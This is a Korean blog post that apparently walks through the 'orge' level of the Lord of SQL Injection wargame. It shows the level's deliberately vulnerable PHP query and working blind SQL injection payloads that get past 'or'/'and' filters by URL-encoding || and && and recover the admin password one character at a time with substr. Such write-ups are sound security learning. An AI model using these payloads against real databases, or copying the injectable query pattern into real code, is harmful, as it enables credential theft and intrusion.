티스토리 뷰

Web_Hacking/LOS

[LOS] orge

MitNy 2017. 8. 13. 15:24



<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  
highlight_file(__FILE__); 
?>



orge문제는 orc 문제와 비슷한 blind sql injection 문제인듯하다.

darkelf 문제와 마찬가지로 or, and는 필터링된다.

addslashes 함수가 쓰이고 query가 두개 있다.



orc 문제때 썼던 length 함수로 우선 pw의 길이를 알아보았고 결과값은 8이다.


?pw=1%27||length(pw)=%278



orc문제를 풀었던 것에서 조금만 더 수정을 해야하는데

url 주소창에 &&을 그대로 넣으면 반영이 안된다.

url 인코딩을 통해 %26%26으로 바꿔주면 된다.

|| 도 바꿔주고 싶다면 %7c%7c




?pw=1%27%20%7c%7c%20id=%27admin%27%26%26substr(pw,8,1)=%27c


이렇게 orc와 같은 방식으로 or와 and만 url 인코딩 해준 후 패스워드를 한 글자씩 알아가면 된다.





pw의 길이가 8이므로 1부터 8까지 패스워드를 알아내는 작업을 하였고

그 결과 pw는 6c864dec



알아낸 pw를 ?pw=6c864dec 해주면 클리어



'Web_Hacking > LOS' 카테고리의 다른 글

[LOS] vampire  (0) 2017.08.21
[LOS] troll  (0) 2017.08.14
[LOS] darkelf  (0) 2017.08.13
[LOS] wolfman  (0) 2017.08.12
[LOS] orc  (0) 2017.08.12
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함